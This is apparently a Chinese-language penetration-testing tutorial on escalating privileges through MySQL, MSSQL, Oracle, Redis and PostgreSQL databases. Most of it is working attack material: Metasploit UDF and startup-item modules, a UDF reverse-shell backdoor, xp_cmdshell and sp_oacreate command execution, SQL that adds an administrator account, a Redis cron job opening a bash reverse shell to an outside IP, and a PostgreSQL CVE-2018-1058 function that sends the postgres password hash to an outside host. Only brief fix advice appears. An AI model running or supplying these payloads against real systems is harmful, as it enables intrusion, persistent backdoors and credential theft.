MYSQL-UDF&MOF&启动项&反弹Shell
通过webshell查看phpmyadmin中配置文件(confiug.default.php)获取数据库账号密码
<code class="language-plaintext hljs">或者查看CMS配置文件(config.php等)</code>
1、UDF 配合MSF命令绑定 提权
UDF(Userdeined function)用户自定义函数,是mysql的一个接口,可以为mysql增添一些函数并且使用
提权条件
- 已经获得当前数据库最高权限用户账号和密码
- -secure-file-priv没进行目录限制(值为空,mysql有写入文件的权限。secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限)
上传UDF动态链接库文件
动态链接库是实现共享函数库的一种方式,在windows环境下后缀名为.dll,在linux环境下后缀名为.so,将该文件放到特定的目录中,该文件包含了执行系统命令的一些函数
获取密码-开启外联-高版本创建目录-MSF导出dll-Webshell执行后续
1.mysql<5.2 导出目录c:/windows或system32
2.mysql=>5.2 导出mysql安装目录/lib/plugin/(plugin文件夹默认不存在,需要创建)
select version() #mysql的版本
1. 2. select @@basedir #MySQL 的安装路径
通过文件管理进入C:/phpStudy/PHPTutorial/MySQL/lib/plugin 该路径下
phpstudy搭建默认没有plugin子目录,需自己手动创建或利用NTFS流创建 。
使用MSF(kali 10.10.10.129)中的exploit/multi/mysql/mysql_udf_payload 模块可以进行UDF提权
MSF会将dll文件写入lib\plugin\目录下(前提是该目录存在,需手工创建),该dll文件中包含sys_exec()和sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数,来执行有回显的命令。
MSF:(前提先开外联)
root用户默认没开启外联,仅支持本地连接
1. 2. GRANT ALL PRIVILEGES ON *.* TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;
use exploit/multi/mysql/mysql_udf_payload set payload windows/meterpreter/reverse_tcp set password root set rhosts 10.10.10.1 (这里更换了靶机) run
[-] 10.10.10.1:3306 - MySQL Error: RbMysql::ServerError::OptionPreventsStatement The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
#报错是因为启动MySQL默认开启--secure-file-priv这个参数,参数的主要目的就是限制LOAD DATA INFILE或者SELECT INTO OUTFILE之类文件的目录位置
secure_file_priv=null 不允许文件的导入导出
secure_file_priv=xxx 文件导入导出到固定路径
secure_file_priv=/ 文件可导入到任意路径
#关闭--secure-file-priv参数
my.ini 加入一行
[mysqld]
secure_file_priv =
重启phpstudy
重新run
上传成功
Navicat:
开外联后使用MSF导出,在执行后续命令调用执行
select * from mysql.func where name = "sys_exec"; //查看
create function sys_eval returns string soname "WqkerHcA.dll";//创建函数绑定dll
1. 2. select sys_eval("whoami");//调用函数进行命令执行
自此从数据库权限提权至系统用户权限,后续进行远程下载后门,以及执行。
2、MOF-Win2008后权限控制导致无效-MSF演示
https://www.cnblogs.com/xishaonian/p/6384535.html
MSF:use exploit/windows/mysql/mysql_mof
提权较难成功
3、启动项 配合 MSF提权
MSF:(前提先开外链)
1. use exploit/windows/mysql/mysql_start_up 2. set rhosts 10.10.10.151 3. set username root 4. set password root 5. run
后续服务器重启,自动执行启动项,执行后门文件
4、反弹Shell
Mysql提权之反弹shell_^quxjg$c46496a646d7a9ca23ade2e5dfddc06c7e5efe9a7-CSDN博客
use mysql; set @a=concat('',xxxx);//具体payload见上方链接 create table Ghost(data LONGBLOB); insert into Ghost values("");update Ghost set data = @a; select data from Ghost into DUMPFILE 'D:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll'; create function backshell returns string soname 'udf.dll';//创建后门函数绑定udf.dll select backshell('10.10.10.129',7788)//传入两个参数执行
主要是secure_file_priv 是否允许导入导出文件(固定目录),高版本mysql默认开启,mysql提权前提条件
MSSQL-xp_cmdshell&sp_oacreate&沙盒
参考资料:SQL Server提权方法汇总(MSSQL)
1.使用xp_cmdshell进行提权(位置:系统数据库.master.可编程性.扩展存储过程.xp_cmdshell 作用:调用cmd执行 系统命令和数据库相互调用)
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。
启用xp_cmdshell
1. 2. EXEC sp_configure 'show advanced options', 1 3. RECONFIGURE; 4. EXEC sp_configure 'xp_cmdshell', 1; 5. RECONFIGURE;
关闭
1. 2. exec sp_configure 'show advanced options', 1; 3. reconfigure; 4. exec sp_configure 'xp_cmdshell', 0; 5. reconfigure;
执行
EXEC master.dbo.xp_cmdshell '命令' 如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复 exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'
sql server 默认支持外联
2.使用sp_oacreate进行提权
主要是用来调用OLE对象,利用OLE对象的run方法执行系统命令。
默认禁用:
启用sp_oacreate模块
EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE;
关闭
EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 0; RECONFIGURE WITH OVERRIDE;
执行命令
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'
3.使用SQL Server 沙盒提权
exec sp_configure 'show advanced options',1;reconfigure; -- 不开启的话在执行xp_regwrite会提示让我们开启, exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。 exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0; --查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。 exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode' --执行系统命令 select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")') select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')
这里执行命令遇到了报错:
[SQL]select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')
[Err] 42000 - [SQL Server]因为 OLE DB 访问接口 'microsoft.jet.oledb.4.0' 配置为在单线程单元模式下运行,所以该访问接口无法用于分布式查询。
查资料说是64位操作系统的问题,在靶机上sql server 环境上执行也没有成功。(可能是需要sql服务器端32位)
参考资料:OLE DB 访问接口 'Microsoft.Jet.OLEDB.4.0' 配置为在单线程单元模式下运行,所以该访问接口无法用于分布式查询 - 天生我豺 - 博客园 (cnblogs.com)
沙盒模式SandBoxMode参数含义(默认是2)
`0`:在任何所有者中禁止启用安全模式`1` :为仅在允许范围内`2` :必须在access模式下`3`:完全开启
openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。
--恢复配置 --exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1; --exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure; --exec sp_configure 'show advanced options',0;reconfigure;
Oracle-普通用户&注入提升模式&DBA模式
https://github.com/jas502n/oracleshell
1、普通用户模式:
前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。
2、DBA用户模式:(自动化工具演示)
拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。
3、注入提升模式:(Sqlmap测试演示)
拥有一个oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显
Redis数据库权限提升-计划任务
连接(未授权或有密码)-利用如下方法提权
采用未授权直接利用,密码进入需获取配置文件读取
1、设置键值为反弹命令的计划任务写法
2、设置写入目录为/var/spool/cron/
3、设置写入文件名为xiaodi
4、保存执行
set x "\n* * * * * bash -i >& /dev/tcp/47.114.103.63/7788 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename xiaodi
save
参考:Redis未授权访问漏洞利用总结_redis漏洞利用-CSDN博客
(1).利用计划任务执行命令反弹shell
(2).写ssh-keygen公钥然后使用私钥登陆
(3).权限较低往web物理路径写webshell
修复方案:
注意:以下操作,均需重启 Redis 后才能生效。
绑定需要访问数据库的IP。 将127.0.0.1修改为需要访问此数据库的IP地址。
设置访问密码。在 Redis.conf中requirepass 字段后,设置添加访问密码。
修改Redis服务运行账号。以较低权限账号运行Redis服务,禁用账号的登录权限。
PostgreSQL数据库权限提升-
提权利用的是漏洞:CVE-2018-1058 CVE-2019-9193
连接-利用漏洞-执行-提权
参考:Vulhub - Docker-Compose file for vulnerability environment
修复方案:升级版本或打上
CVE-2018-1058
PostgreSQL 是一款关系型数据库。其9.3到10版本中存在一个逻辑错误,导致超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作。
vulhub搭建
先通过普通用户vulhub:vulhub的身份登录postgres
1、普通用户植入后门命令
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$ select dblink_connect((select 'hostaddr=47.94.130.42 port=5433 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres'))); SELECT pg_catalog.array_to_string($1,$2); $$ LANGUAGE SQL VOLATILE;
2、管理员操作数据库触发
1. 2. docker-compose exec postgres pg_dump -U postgres -f evil.bak vulhub
3、成功反弹hsell
CVE-2019-9193
其9.3到11版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。
DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;
非root权限(UID 0 root用户 UID 1~999 是占坑用户,即一写无法登录的用户),更改执行参数进行命令执行